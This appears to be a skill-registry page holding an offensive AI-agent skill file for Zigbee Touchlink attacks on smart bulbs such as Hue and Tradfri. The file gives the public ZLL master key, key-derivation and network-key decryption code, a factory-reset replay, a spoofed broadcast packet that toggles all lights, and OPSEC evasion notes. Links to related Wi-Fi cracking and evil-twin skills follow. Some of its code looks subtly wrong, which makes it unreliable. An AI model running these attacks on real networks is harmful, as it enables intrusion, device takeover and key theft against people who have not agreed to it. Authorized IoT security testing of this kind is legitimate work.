[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M798CS0N5B29WS9MEZDAJ0BJ":3,"skill-same:01M798CS0N5B29WS9MEZDAJ0BJ":51},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":33,"repositoryHtmlUrl":34,"repositoryHomepageUrl":6,"ownerHtmlUrl":35,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":36,"install":37,"resources":50},"01M798CS0N5B29WS9MEZDAJ0BJ","zigbee-touchlink",null,"Touchlink commissioning abuse on Zigbee Light Link (ZLL) devices using the well-known ZLL transport key, ZCL command injection (toggle\u002Fmove\u002Fstep), network key extraction, and factory reset via touchlink. Toolchain covers KillerBee, zbstumbler, zbreplay, and Sonoff Zigbee 3.0 Dongle E running Wireshark live capture.","7ShIkI3\u002FDecepticon-x-DarkTriad","7ShIkI3","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F78133376?v=4","01M797CTK5AHH2161YVG93NJ3B","Raphael Pascaud","01M797CTKRQS64R01J7E6TJSEM",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fiot\u002Fzigbee-touchlink\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: zigbee-touchlink\ndescription: Touchlink commissioning abuse on Zigbee Light Link (ZLL) devices using the well-known ZLL transport key, ZCL command injection (toggle\u002Fmove\u002Fstep), network key extraction, and factory reset via touchlink. Toolchain covers KillerBee, zbstumbler, zbreplay, and Sonoff Zigbee 3.0 Dongle E running Wireshark live capture.\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: iot\n  when_to_use: Zigbee, Touchlink, ZLL, ZCL, KillerBee, zbstumbler, zbreplay, Sonoff Zigbee dongle, IEEE 802.15.4, Zigbee network key, commissioning, factory reset, smart bulb, Philips Hue, IKEA Tradfri\n  tags: zigbee, touchlink, zll, zcl, killerbee, iot, embedded, 802154\n  mitre_attack: T1040, T1190, T1499.004, T1078.001\n---\n\n# Zigbee Touchlink Commissioning Abuse\n\n> Zigbee Light Link (ZLL) defines a Touchlink commissioning mechanism\n> intended for close-proximity pairing (≤20 cm). The procedure relies on\n> a well-known, publicly documented transport key (ZLL Master Key published\n> in the ZigBee Light Link spec). In practice it works at distances of\n> several metres with a directional antenna, allowing an attacker to steal\n> devices off an existing coordinator, factory-reset smart bulbs, or inject\n> ZCL commands without joining the network.\n\n## Prerequisites\n\n- **Hardware**: Sonoff Zigbee 3.0 Dongle-E (CC2652P) with Z-Stack coordinator or\n  sniffer firmware, OR RZUSB (AT86RF233), OR ApiMote v4 (CC2531 based).\n  For highest sensitivity: HackRF + Zigbee SDR (gr-ieee802-15-4) — passive only.\n- **Firmware options**:\n  - Sniffer: flash `CC2531_sniffer.hex` \u002F `cc2652_sniffer.hex` (TI) — Wireshark\n    source, passive.\n  - Attack: flash `coordinator_20230507.hex` from Z-Stack 3.x — gives full TX.\n- **Software**: KillerBee suite, Scapy with `scapy-radio`, Python 3.x.\n\n```bash\n# Install KillerBee (Debian\u002FKali):\ngit clone https:\u002F\u002Fgithub.com\u002Friverloopsec\u002Fkillerbee\ncd killerbee && pip install .\n# Confirm dongle detected:\nzbid\n```\n\n## Phase 1: Passive Channel Scan (zbstumbler)\n\n```bash\n# Scan all 802.15.4 channels (11-26) and enumerate PAN IDs, coordinators, devices.\nzbstumbler -i \u002Fdev\u002FttyUSB0 | tee \u002Ftmp\u002Fzigbee_stumble.txt\n\n# Capture all traffic on a discovered channel (e.g., channel 15) to pcap:\nzbdump -i \u002Fdev\u002FttyUSB0 -c 15 -w \u002Ftmp\u002Fzigbee_ch15.pcap\n\n# Live in Wireshark with the ZEP plugin:\nwireshark -k -i lo  # after running zbwireshark -i \u002Fdev\u002FttyUSB0 -c 15\n```\n\nKey fields to identify in pcap:\n- **Frame Control** = `0x8841` (Data, ZigBee, PAN compress)\n- **Cluster ID** = `0x1000` (ZLL Commissioning cluster)\n- **Command ID** = `0x00` (Scan Request), `0x01` (Scan Response), `0x07` (Touchlink Reset)\n\n## Phase 2: Decode the ZLL Well-Known Transport Key\n\nThe ZLL Master Key (published in Zigbee spec 11-0037-10) is:\n\n```\nZLL Master Key: 9F 55 95 F1 02 57 C8 A9 65 73 AB 53 EE 2D 4C 0D\n```\n\nDerive per-device transport key:\n\n```python\nfrom Crypto.Cipher import AES\n\nZLL_MASTER_KEY = bytes.fromhex(\"9F5595F10257C8A96573AB53EE2D4C0D\")\n\ndef derive_transport_key(transaction_id: bytes, response_id: bytes) -> bytes:\n    \"\"\"\n    ZLL key derivation: AES-ECB of (transactionId XOR responseId XOR mask) with master key.\n    Per ZigBee Lighting Profile spec section 8.7.\n    \"\"\"\n    data = bytes(a ^ b for a, b in zip(transaction_id + response_id,\n                                        b'\\x00' * 8 + b'\\x00' * 8))\n    cipher = AES.new(ZLL_MASTER_KEY, AES.MODE_ECB)\n    return cipher.encrypt(data)\n\n# transaction_id and response_id come from the Scan Request \u002F Scan Response frames.\n```\n\n## Phase 3: Touchlink Scan + Factory Reset\n\nKillerBee includes `zbtouchlink` (or use the custom script below):\n\n```bash\n# Send Touchlink Scan Requests on all channels and listen for responses.\n# A device that responds is susceptible to touchlink commands.\npython3 - \u003C\u003C'EOF'\nimport time\nfrom killerbee import KillerBee, PcapDumper\n\n# Zigbee channel to target (scan 11-26 in production):\nCHANNEL = 15\nIFACE = \"\u002Fdev\u002FttyUSB0\"\n\nkb = KillerBee(device=IFACE)\nkb.set_channel(CHANNEL)\nkb.sniffer_on()\n\nprint(f\"[*] Listening on channel {CHANNEL}...\")\nwhile True:\n    frame = kb.pnext()\n    if frame and frame[0]:\n        data = frame[0]\n        # Check for ZLL Scan Response (Cluster 0x1000, Cmd 0x01)\n        if len(data) > 20:\n            print(f\"[+] Frame: {data.hex()}\")\nEOF\n```\n\nFactory reset via `zbreplay` \u002F custom ZLL Reset-to-factory-new:\n\n```bash\n# zbreplay replays a captured factory-reset frame at a target device.\n# Capture a legitimate Touchlink reset first, then replay.\nzbreplay -i \u002Fdev\u002FttyUSB0 -c 15 -f \u002Ftmp\u002Ftouchlink_reset.pcap\n\n# Or use zbfind to locate the device before resetting:\nzbfind -i \u002Fdev\u002FttyUSB0 -c 15\n```\n\n## Phase 4: ZCL Command Injection (no network join required)\n\nZCL commands to the Scenes\u002FOn-Off cluster can be sent as broadcast or unicast\nwith the source address spoofed. No association to the PAN is required for\nbroadcast delivery on 802.15.4.\n\n```python\nfrom scapy.all import Dot15d4, Dot15d4Data, ZigbeeNWK, ZigbeeSecurityHeader, ZigbeeAppDataPayload\n# scapy-zigbee or scapy-radio needed for ZigBee layers\n\n# Toggle all On\u002FOff devices in PAN (broadcast NWK dst 0xFFFF):\npkt = (\n    Dot15d4(fcf_frametype=1, fcf_srcaddrmode=2, fcf_destaddrmode=2,\n            dest_panid=0xDEAD, dest_addr=0xFFFF, src_addr=0x1234) \u002F\n    ZigbeeNWK(frametype=0, proto_ver=2, discover_route=0,\n              destination=0xFFFF, source=0x1234, radius=1) \u002F\n    ZigbeeAppDataPayload(frametype=1, cluster=0x0006,\n                         profile=0x0104, dst_endpoint=0xFF, src_endpoint=0x01) \u002F\n    bytes([0x01, 0x00, 0x02])  # ZCL: frame ctrl, seq, cmd=Toggle\n)\n# send via scapy raw socket on the 802.15.4 interface\n```\n\nKnown ZCL attack payloads:\n\n| Cluster | Command | Effect |\n|---|---|---|\n| 0x0006 On\u002FOff | 0x02 Toggle | Flip all lights |\n| 0x0008 Level Control | 0x00 Move to Level | Set brightness 0 (lights off) |\n| 0x0003 Identify | 0x00 Identify | Blink device — confirms target |\n| 0x0300 Color Control | 0x07 Move to Color Temp | Alter scene |\n\n## Phase 5: Network Key Extraction via Touchlink\n\nIf a Touchlink inter-PAN key transport message is captured, the encrypted\nNWK key can be decrypted using the derived transport key:\n\n```python\nfrom Crypto.Cipher import AES\n\ndef decrypt_nwk_key(encrypted_key: bytes, transport_key: bytes) -> bytes:\n    cipher = AES.new(transport_key, AES.MODE_ECB)\n    # ZLL key transport uses AES-ECB on the 16-byte encrypted key material.\n    return cipher.decrypt(encrypted_key)\n```\n\nWith the plaintext NWK key, decrypt all subsequent traffic in Wireshark:\n- Edit → Preferences → Protocols → ZigBee → Add decryption key.\n\n## Evidence\n\n```bash\nEVIDENCE=\"\u002Fworkspace\u002Fevidence\u002Fzigbee-touchlink\u002F$(date +%Y%m%d_%H%M%S)\"\nmkdir -p \"$EVIDENCE\"\ncp \u002Ftmp\u002Fzigbee_ch15.pcap \"$EVIDENCE\u002F\"\ncp \u002Ftmp\u002Fzigbee_stumble.txt \"$EVIDENCE\u002F\"\nsha256sum \"$EVIDENCE\"\u002F* >> \"$EVIDENCE\u002Fsha256.txt\"\n```\n\n```python\nkg_add_node(\n    kind=\"finding\",\n    label=f\"Zigbee Touchlink abuse on PAN {pan_id:#06x}\",\n    props={\n        \"key\": f\"zigbee-touchlink::{pan_id}\",\n        \"pan_id\": pan_id,\n        \"channel\": channel,\n        \"nwk_key_hex\": nwk_key.hex() if nwk_key else None,\n        \"touchlink_reset_success\": True,\n        \"source\": \"killerbee+scapy\",\n    },\n)\n```\n\n## OPSEC Notes\n\n- Factory-reset is destructive and visible — the device drops off the\n  coordinator immediately. Only perform when explicitly authorized.\n- ZCL broadcast toggle is detectable by the coordinator as spurious\n  traffic from an unregistered source address.\n- Passive sniffing (zbdump) has zero RF footprint beyond receive.\n- Touchlink operates in inter-PAN mode: you do NOT need to join the target's\n  PAN to send or receive ZLL commissioning frames.\n- Channel 25 (2.475 GHz) is the Zigbee primary ZLL channel; channel 11\n  (2.405 GHz) is common for home automation. Always scan 11-26.\n\n## References\n\n- KillerBee: https:\u002F\u002Fgithub.com\u002Friverloopsec\u002Fkillerbee\n- Zigbee Light Link spec (ZLL transport key): ZigBee document 11-0037-10.\n- Ronen et al. \"IoT Goes Nuclear\" (2016) — Hue worm via Touchlink at 100m range.\n- Sonoff Zigbee 3.0 Dongle-E firmware: https:\u002F\u002Fgithub.com\u002FKoenkk\u002FZ-Stack-firmware\n","# Zigbee Touchlink Commissioning Abuse\n\n> Zigbee Light Link (ZLL) defines a Touchlink commissioning mechanism\n> intended for close-proximity pairing (≤20 cm). The procedure relies on\n> a well-known, publicly documented transport key (ZLL Master Key published\n> in the ZigBee Light Link spec). In practice it works at distances of\n> several metres with a directional antenna, allowing an attacker to steal\n> devices off an existing coordinator, factory-reset smart bulbs, or inject\n> ZCL commands without joining the network.\n\n## Prerequisites\n\n- **Hardware**: Sonoff Zigbee 3.0 Dongle-E (CC2652P) with Z-Stack coordinator or\n  sniffer firmware, OR RZUSB (AT86RF233), OR ApiMote v4 (CC2531 based).\n  For highest sensitivity: HackRF + Zigbee SDR (gr-ieee802-15-4) — passive only.\n- **Firmware options**:\n  - Sniffer: flash `CC2531_sniffer.hex` \u002F `cc2652_sniffer.hex` (TI) — Wireshark\n    source, passive.\n  - Attack: flash `coordinator_20230507.hex` from Z-Stack 3.x — gives full TX.\n- **Software**: KillerBee suite, Scapy with `scapy-radio`, Python 3.x.\n\n```bash\n# Install KillerBee (Debian\u002FKali):\ngit clone https:\u002F\u002Fgithub.com\u002Friverloopsec\u002Fkillerbee\ncd killerbee && pip install .\n# Confirm dongle detected:\nzbid\n```\n\n## Phase 1: Passive Channel Scan (zbstumbler)\n\n```bash\n# Scan all 802.15.4 channels (11-26) and enumerate PAN IDs, coordinators, devices.\nzbstumbler -i \u002Fdev\u002FttyUSB0 | tee \u002Ftmp\u002Fzigbee_stumble.txt\n\n# Capture all traffic on a discovered channel (e.g., channel 15) to pcap:\nzbdump -i \u002Fdev\u002FttyUSB0 -c 15 -w \u002Ftmp\u002Fzigbee_ch15.pcap\n\n# Live in Wireshark with the ZEP plugin:\nwireshark -k -i lo  # after running zbwireshark -i \u002Fdev\u002FttyUSB0 -c 15\n```\n\nKey fields to identify in pcap:\n- **Frame Control** = `0x8841` (Data, ZigBee, PAN compress)\n- **Cluster ID** = `0x1000` (ZLL Commissioning cluster)\n- **Command ID** = `0x00` (Scan Request), `0x01` (Scan Response), `0x07` (Touchlink Reset)\n\n## Phase 2: Decode the ZLL Well-Known Transport Key\n\nThe ZLL Master Key (published in Zigbee spec 11-0037-10) is:\n\n```\nZLL Master Key: 9F 55 95 F1 02 57 C8 A9 65 73 AB 53 EE 2D 4C 0D\n```\n\nDerive per-device transport key:\n\n```python\nfrom Crypto.Cipher import AES\n\nZLL_MASTER_KEY = bytes.fromhex(\"9F5595F10257C8A96573AB53EE2D4C0D\")\n\ndef derive_transport_key(transaction_id: bytes, response_id: bytes) -> bytes:\n    \"\"\"\n    ZLL key derivation: AES-ECB of (transactionId XOR responseId XOR mask) with master key.\n    Per ZigBee Lighting Profile spec section 8.7.\n    \"\"\"\n    data = bytes(a ^ b for a, b in zip(transaction_id + response_id,\n                                        b'\\x00' * 8 + b'\\x00' * 8))\n    cipher = AES.new(ZLL_MASTER_KEY, AES.MODE_ECB)\n    return cipher.encrypt(data)\n\n# transaction_id and response_id come from the Scan Request \u002F Scan Response frames.\n```\n\n## Phase 3: Touchlink Scan + Factory Reset\n\nKillerBee includes `zbtouchlink` (or use the custom script below):\n\n```bash\n# Send Touchlink Scan Requests on all channels and listen for responses.\n# A device that responds is susceptible to touchlink commands.\npython3 - \u003C\u003C'EOF'\nimport time\nfrom killerbee import KillerBee, PcapDumper\n\n# Zigbee channel to target (scan 11-26 in production):\nCHANNEL = 15\nIFACE = \"\u002Fdev\u002FttyUSB0\"\n\nkb = KillerBee(device=IFACE)\nkb.set_channel(CHANNEL)\nkb.sniffer_on()\n\nprint(f\"[*] Listening on channel {CHANNEL}...\")\nwhile True:\n    frame = kb.pnext()\n    if frame and frame[0]:\n        data = frame[0]\n        # Check for ZLL Scan Response (Cluster 0x1000, Cmd 0x01)\n        if len(data) > 20:\n            print(f\"[+] Frame: {data.hex()}\")\nEOF\n```\n\nFactory reset via `zbreplay` \u002F custom ZLL Reset-to-factory-new:\n\n```bash\n# zbreplay replays a captured factory-reset frame at a target device.\n# Capture a legitimate Touchlink reset first, then replay.\nzbreplay -i \u002Fdev\u002FttyUSB0 -c 15 -f \u002Ftmp\u002Ftouchlink_reset.pcap\n\n# Or use zbfind to locate the device before resetting:\nzbfind -i \u002Fdev\u002FttyUSB0 -c 15\n```\n\n## Phase 4: ZCL Command Injection (no network join required)\n\nZCL commands to the Scenes\u002FOn-Off cluster can be sent as broadcast or unicast\nwith the source address spoofed. No association to the PAN is required for\nbroadcast delivery on 802.15.4.\n\n```python\nfrom scapy.all import Dot15d4, Dot15d4Data, ZigbeeNWK, ZigbeeSecurityHeader, ZigbeeAppDataPayload\n# scapy-zigbee or scapy-radio needed for ZigBee layers\n\n# Toggle all On\u002FOff devices in PAN (broadcast NWK dst 0xFFFF):\npkt = (\n    Dot15d4(fcf_frametype=1, fcf_srcaddrmode=2, fcf_destaddrmode=2,\n            dest_panid=0xDEAD, dest_addr=0xFFFF, src_addr=0x1234) \u002F\n    ZigbeeNWK(frametype=0, proto_ver=2, discover_route=0,\n              destination=0xFFFF, source=0x1234, radius=1) \u002F\n    ZigbeeAppDataPayload(frametype=1, cluster=0x0006,\n                         profile=0x0104, dst_endpoint=0xFF, src_endpoint=0x01) \u002F\n    bytes([0x01, 0x00, 0x02])  # ZCL: frame ctrl, seq, cmd=Toggle\n)\n# send via scapy raw socket on the 802.15.4 interface\n```\n\nKnown ZCL attack payloads:\n\n| Cluster | Command | Effect |\n|---|---|---|\n| 0x0006 On\u002FOff | 0x02 Toggle | Flip all lights |\n| 0x0008 Level Control | 0x00 Move to Level | Set brightness 0 (lights off) |\n| 0x0003 Identify | 0x00 Identify | Blink device — confirms target |\n| 0x0300 Color Control | 0x07 Move to Color Temp | Alter scene |\n\n## Phase 5: Network Key Extraction via Touchlink\n\nIf a Touchlink inter-PAN key transport message is captured, the encrypted\nNWK key can be decrypted using the derived transport key:\n\n```python\nfrom Crypto.Cipher import AES\n\ndef decrypt_nwk_key(encrypted_key: bytes, transport_key: bytes) -> bytes:\n    cipher = AES.new(transport_key, AES.MODE_ECB)\n    # ZLL key transport uses AES-ECB on the 16-byte encrypted key material.\n    return cipher.decrypt(encrypted_key)\n```\n\nWith the plaintext NWK key, decrypt all subsequent traffic in Wireshark:\n- Edit → Preferences → Protocols → ZigBee → Add decryption key.\n\n## Evidence\n\n```bash\nEVIDENCE=\"\u002Fworkspace\u002Fevidence\u002Fzigbee-touchlink\u002F$(date +%Y%m%d_%H%M%S)\"\nmkdir -p \"$EVIDENCE\"\ncp \u002Ftmp\u002Fzigbee_ch15.pcap \"$EVIDENCE\u002F\"\ncp \u002Ftmp\u002Fzigbee_stumble.txt \"$EVIDENCE\u002F\"\nsha256sum \"$EVIDENCE\"\u002F* >> \"$EVIDENCE\u002Fsha256.txt\"\n```\n\n```python\nkg_add_node(\n    kind=\"finding\",\n    label=f\"Zigbee Touchlink abuse on PAN {pan_id:#06x}\",\n    props={\n        \"key\": f\"zigbee-touchlink::{pan_id}\",\n        \"pan_id\": pan_id,\n        \"channel\": channel,\n        \"nwk_key_hex\": nwk_key.hex() if nwk_key else None,\n        \"touchlink_reset_success\": True,\n        \"source\": \"killerbee+scapy\",\n    },\n)\n```\n\n## OPSEC Notes\n\n- Factory-reset is destructive and visible — the device drops off the\n  coordinator immediately. Only perform when explicitly authorized.\n- ZCL broadcast toggle is detectable by the coordinator as spurious\n  traffic from an unregistered source address.\n- Passive sniffing (zbdump) has zero RF footprint beyond receive.\n- Touchlink operates in inter-PAN mode: you do NOT need to join the target's\n  PAN to send or receive ZLL commissioning frames.\n- Channel 25 (2.475 GHz) is the Zigbee primary ZLL channel; channel 11\n  (2.405 GHz) is common for home automation. Always scan 11-26.\n\n## References\n\n- KillerBee: https:\u002F\u002Fgithub.com\u002Friverloopsec\u002Fkillerbee\n- Zigbee Light Link spec (ZLL transport key): ZigBee document 11-0037-10.\n- Ronen et al. \"IoT Goes Nuclear\" (2016) — Hue worm via Touchlink at 100m range.\n- Sonoff Zigbee 3.0 Dongle-E firmware: https:\u002F\u002Fgithub.com\u002FKoenkk\u002FZ-Stack-firmware\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"zigbee, touchlink, zll, zcl, killerbee, iot, embedded, 802154","iot","Zigbee, Touchlink, ZLL, ZCL, KillerBee, zbstumbler, zbreplay, Sonoff Zigbee dongle, IEEE 802.15.4, Zigbee network key, commissioning, factory reset, smart bulb, Philips Hue, IKEA Tradfri","T1040, T1190, T1499.004, T1078.001","Bash Read Write","main","42b918525fb79065e730da3da997bffb33fcd414","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fiot\u002Fzigbee-touchlink",0,"https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad","https:\u002F\u002Fgithub.com\u002F7ShIkI3","2026-07-22 19:02:27",{"source":8,"skillName":5,"commands":38,"prompt":48,"zipAvailable":49},[39,42,45],{"tool":40,"command":41},"npx","npx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill zigbee-touchlink",{"tool":43,"command":44},"bunx","bunx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill zigbee-touchlink",{"tool":46,"command":47},"pnpm","pnpm dlx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill zigbee-touchlink","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fiot\u002Fzigbee-touchlink\u002FSKILL.md",true,[],[52,59,66,73,80,87],{"skillNo":53,"name":54,"nameZh":6,"description":55,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":56,"categories":57,"keywords":58,"publishedAt":19},"01M798TNHEBA4Y67TJJ7W0KBDD","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":60,"name":61,"nameZh":6,"description":62,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":63,"categories":64,"keywords":65,"publishedAt":19},"01M798TH79VR8XM7AAMG0ZKSXX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":67,"name":68,"nameZh":6,"description":69,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":70,"categories":71,"keywords":72,"publishedAt":19},"01M798TD0E10ZHQN5X362M4HG9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":74,"name":75,"nameZh":6,"description":76,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":77,"categories":78,"keywords":79,"publishedAt":19},"01M798T7HFR3NB9WJTK1FESVF9","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":81,"name":82,"nameZh":6,"description":83,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":84,"categories":85,"keywords":86,"publishedAt":19},"01M798T38B4SV0T87VQK56KPHC","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":88,"name":89,"nameZh":6,"description":90,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":19},"01M798SXTNF0RP1DXKQEWFVQ9H","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]